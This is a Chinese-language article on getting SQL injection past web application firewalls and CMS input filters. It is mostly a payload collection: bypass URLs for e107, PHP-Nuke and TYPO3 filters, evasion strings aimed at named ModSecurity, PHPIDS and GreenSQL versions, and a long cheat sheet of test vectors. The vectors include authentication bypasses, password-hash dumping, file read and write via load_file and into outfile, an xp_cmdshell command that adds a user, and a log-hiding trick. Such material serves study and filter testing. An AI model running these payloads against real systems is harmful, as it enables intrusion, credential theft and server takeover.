深入了解SQL注入绕过waf和过滤机制-cms以及waf绕过方法

  从上面给出的示例来看没有绝对的过滤，即便平时构建一个正常SQL语句的全部关键字都被过滤了，我们也还是能找到Bypass的方法。我们可以相信WAF能为我们抵挡很多攻击但是绝不能百分之一百的依赖它，就算它有 着世上最为健全的规则，它本身也是会存在缺陷的。

  从前面到现在基本上每条注入语句中都有数字，如果某查询的数据类型为字符串、或者做了严格限制数字要被和谐掉，这就有点棘手了，不过办法总是有的：

  上面两张图第一张是不能使用数字时通过使用数学函数得到某个数字的值，第二张则是这些数字对应的36进制的值，因此有时候一个很简单的表达式可能会很复杂或者非常长其实际就是计算mod(a,b)

(mod(length(trim(leading(concat(lower(conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(), pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(), pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))),conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi())))))from(pass))),length(pass))

  0x04 延伸及测试向量示例

a) CMS绕过实例
b) WAF绕过示例
c) SQLi Filter Evasion Cheat sheet
d) 测试向量

  a) Web应用绕过示例

  1. e107 CMS

$inArray = array("'", ";", "/**/", "/UNION/", "/SELECT/", "AS "); 
if (strpos($_SERVER['PHP_SELF'], "trackback") === false) { 
foreach($inArray as $res) { 
if(stristr($_SERVER['QUERY_STRING'], $res)) { 
die("Access denied."); 
}}}

  Bypass:

vuln.php/trackback?inject=UNI%6fN SELECT

  2. PHP-Nuke CMS

if(isset($_SERVER['QUERY_STRING']) 
&& (!stripos($_SERVER['QUERY_STRING'], "ad_click"))) { 
$queryString = $_SERVER['QUERY_STRING']; 
if ( stripos($queryString, '%20union%20') 
OR stripos($queryString, '/*') 
OR stripos($queryString, '*/union/*') 
OR stripos($queryString, '+union+') 
OR stripos($queryString, 'concat')) { die('Illegal Operation'); }

  Bypass:

vuln.php?inject=%a0UNI%6fN(SELECT'ad_click'

  3. TYPO3 CMS

$val = str_replace(array("'"," ","("),"",$arrFields[$fname]); // basic defence

  Bypass:

vuln.php?id=1/**/union%a0select/**/1,pass,3`a`from`users`

  b) WAF绕过示例

  1. ModSecurity CRS 2.0.9 

1'and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit 1,1)and'1
1'union/*!select*/pass,load_file(0x123456789)from users-- -

  2. PHPIDS 0.6.4 

foo'!=@a:=0x1 div'1a false != true 　　//auth bypass
foo'div count(select`pass`from(users)where mid(pass,1,1)rlike lower(conv(10,pi()*pi(),pi()*pi())) )-'0
a'in(true) and false */*!(true)union#newline select pass`alias`from users where true*/* n'1

  3. GreenSQL 1.3.0 

  检测关键字：union, information_schema, into outfile, current_user, current_date, version

  检测函数：mid(), substring(), substr(), load_file(), benchmark(), user(), database(), version()

adm' 'in' or 1='1        // auth bypass
'-(1)union(select table_name,load_file('/tmp/test'),@@version
from /*! information_schema.tables */);%00    //select union
'-'' into%a0outfile '/tmp/test   //write to file

  c) SQLi Filter Evasion Cheat sheet

#注释
' or 1=1#
' or 1=1/* (MySQL < 5.1)
' or 1=1;%00
' or 1=1 union select 1,2 as `
' or#newline
' /*!50000or*/1='1
' /*!or*/1='1

#前缀
+ – ~ !
' or –+2=- -!!!'2

#操作符：
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

#空格
%20 %09 %0a %0b %0c %0d %a0 /**/
'or+(1)sounds/**/like"1"–%a0-
'union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

#有引号的字符串
SELECT 'a'
SELECT "a"
SELECT n'a'
SELECT b'1100001′
SELECT _binary'1100001′
SELECT x'61′

#没有引号的字符串
　'abc' = 0×616263
　　' and substr(data,1,1) = 'a'#
　　' and substr(data,1,1) = 0x61 # 0x6162
　　' and substr(data,1,1) = unhex(61)    # unhex(6162)
　　' and substr(data,1,1) = char(97  )# char(97,98)
　　' and substr(data,1,1) = 'a'#
　　' and hex(substr(data,1,1)) = 61#
　　' and ascii(substr(data,1,1)) = 97#
　　' and ord(substr(data,1,1)) = 97# 
　　' and substr(data,1,1) = lower(conv(10,10,36))# 'a'

#别名
select pass as alias from users
select pass`alias alias`from users

#字型
' or true = '1 # or 1=1
' or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
' or '1 # or true
#操作符字型
select * from users where 'a'='b'='c'
select * from users where ('a'='b')='c'
select * from users where (false)='c'

#认真绕过'='
select * from users where name = "="
select * from users where false = "
select * from users where 0 = 0
select * from users where true#函数过滤器ascii (97)
load_file/*foo*/(0×616263)

#用函数构建字符串
'abc' = unhex(616263)
'abc' = char(97,98,99)
 hex('a') = 61
 ascii('a') = 97
 ord('a') = 97
'ABC' = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

#特殊字符
　　aes_encrypt(1,12) // 4鏷眥?"^z譎é蒃a
　　des_encrypt(1,2) // 侴ò/镏k
　　@@ft_boolean_syntax // + -><()~*:""&|
　　@@date_format // %Y-%m-%d
　　@@innodb_log_group_home_dir // .\

@@new: 0
@@log_bin: 1
#提取子字符串substr('abc',1,1) = 'a'
substr('abc' from 1 for 1) = 'a'
substring('abc',1,1) = 'a'
substring('abc' from 1 for 1) = 'a'
mid('abc',1,1) = 'a'
mid('abc' from 1 for 1) = 'a'
lpad('abc',1,space(1)) = 'a'
rpad('abc',1,space(1)) = 'a'
left('abc',1) = 'a'
reverse(right(reverse('abc'),1)) = 'a'
insert(insert('abc',1,0,space(0)),2,222,space(0)) = 'a'
space(0) = trim(version()from(version()))

#搜索子字符串
locate('a','abc')
position('a','abc')
position('a' IN 'abc')
instr('abc','a')
substring_index('ab','b',1)

#分割字符串
length(trim(leading 'a' FROM 'abc'))
length(replace('abc', 'a', "))

#比较字符串
strcmp('a','a')
mod('a','a')
find_in_set('a','a')
field('a','a')
count(concat('a','a'))

#字符串长度
length()
bit_length()
char_length()
octet_length()
bit_count()

#关键字过滤
Connected keyword filtering
(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0′union all select all`table_name`foo from`information_schema`. `tables`

#控制流
case 'a' when 'a' then 1 [else 0] end
case when 'a'='a' then 1 [else 0] end
if('a'='a',1,0)
ifnull(nullif('a','a'),1)

  d) 测试向量

%55nion(%53elect 1,2,3)-- -

+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinctROW+select+
-15+(uNioN)+(sElECt)
-15+(UnI)(oN)+(SeL)(ecT)+

id=1+UnIOn/**/SeLect 1,2,3—
id=1+UNIunionON+SELselectECT 1,2,3—
id=1+/*!UnIOn*/+/*!sElEcT*/ 1,2,3—
id=1 and (select 1)=(Select 0xAA 1000 more A’s)+UnIoN+SeLeCT 1,2,3—
id=1+un/**/ion+sel/**/ect+1,2,3--
id=1+/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3
id=1+/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
id=1+/**/union/*&id=*/select/*&id=*/1,2,3--
id=-1 and (select 1)=(Select 0xAA*1000) /*!UNION*/ /*!SELECT*//**/1,2,3,4,5,6—x

/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
/*!union*/+/*!select*/+1,2,3—
/*!UnIOn*//*!SeLect*/+1,2,3—
un/**/ion+sel/**/ect+1,2,3—
/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3—
ID=66+UnIoN+aLL+SeLeCt+1,2,3,4,5,6,7,(SELECT+concat(0x3a,id,0x3a,password,0x3a)+FROM+information_schema.columns+WHERE+table_schema=0x6334706F645F666573746976616C5F636D73+AND+table_name=0x7573657273),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,
?id=15+/*!UnIoN*/+/*!aLl*/+/*!SeLeCt*/+1,version(),3,4,5,6,7--
id=1/*!limit+0+union+select+concat_ws(0×3a,table_name,column_name)+from+information_schema.columns*/

id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.TABLES-- 
id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

SELECT*FROM(test)WHERE(name)IN(_ucs2 0x01df010e004d00cf0148);
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) in xml way

select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')
select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'
select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'
select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'
select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42

/?id=1+union+(select'1',concat(login,hash)from+users)
/?id=(1)union(((((((select(1),hex(hash)from(users))))))))

?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ ?net user lucifer UrWaFisShiT? /*&id=1*/ --
id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
id=10 and 1=0/(select top 1 table_name from information_schema.tables)

id=-725+UNION+SELECT+1,GROUP_CONCAT(id,0x3a,login,0x3a,password,0x3a,email,0x3a,access_level),3,4,5+FROM+Admin--
id=-725+UNION+SELECT+1,version(),3,4,5--sp_password //使用sp_password隐藏log中的请求

  0x05 本文小结

  本文内容到这里内容差不多就算是完了，回顾一下本文内容主要从三个方面展开绕过WAF的方法、Filter的实现机制和Evasion措施、测试示例和 向量。本文的第二部分”绕过WAF的方法“花了较多时间，需要参照已有的总结进行自己的总结并给出示例，第三、四两部分更多的是粘贴已收集到的向量因此较快。 本文内容和篇幅较多涉及信息量很大但是仍有许多不完善或遗漏的地方。

  最后再说一下昨天晚上和园长谈及本文内容时他表示像缓冲区溢出绕过waf这些针对的是传统的waf而且关键字替换也不仅仅是处理select这么简单 现在一种很重要的处理方式是编码笔者听后确实感觉受教了。需要进一步学习的还有很多很多云waf和传统waf之间千丝万缕的关系也还有待进一步去了解。前 几天朋友说前几天他现在过滤都不太使用正则表达式了那样效率太低，使用抽象语法树AST检测SQL注入曾经以为只有学院派会使用的现在已经发生在身边了。

  笔者作为新手抱着学习的态度写出本文希望懂这方面的朋友前辈可以多指点。

  0x06 参考资料

  WAF介绍http://www.nsfocus.com/waf/jishu/js_01.html

  WAF实现扫描器识别http://drops.wooyun.org/tips/730　

  WAF的绕过技巧http://drops.wooyun.org/tips/132

  绕过waf的笔记http://fuck.0day5.com/?p=622

  SQL注入中的WAF绕过技术http://netsecurity.51cto.com/art/201301/376869.htm

  浅谈WAF的绕过http://netsecurity.51cto.com/art/201212/374068.htm　　

  SQL注入攻防入门详解(MS SQL)http://www.2cto.com/Article/201211/165466.html    

  Beyond SQLi: Obfuscate and Bypass http://www.exploit-db.com/papers/17934/

  从基础到高级的waf绕过方法http://gnahackteam.wordpress.com/2012/07/06/basic-to-advanced-waf-bypassing-methods/　

  Bypass WAFhttp://www.surfthecyber.com/2013/05/how-to-bypass-waf-web-application.html

  WAF Bypassing: SQL Injection (forbidden or not?)http://www.r00tsec.com/2011/07/sql-injection-bypass-waf.html

  WAF filter evasionhttp://sla.ckers.org/forum/read.php?24,33903

http://em3rgency.com/sql-injection-filter-evasion/

http://0haxor.blogspot.com/2012/08/waf-waf-bypassing.html

http://kaoticcreations.blogspot.com/p/sql-injection-waf-bypassing.html

http://kaoticcreations.blogspot.com/p/basic-sql-injection-101.html

http://websec.files.wordpress.com/2010/11/sqli2.pdf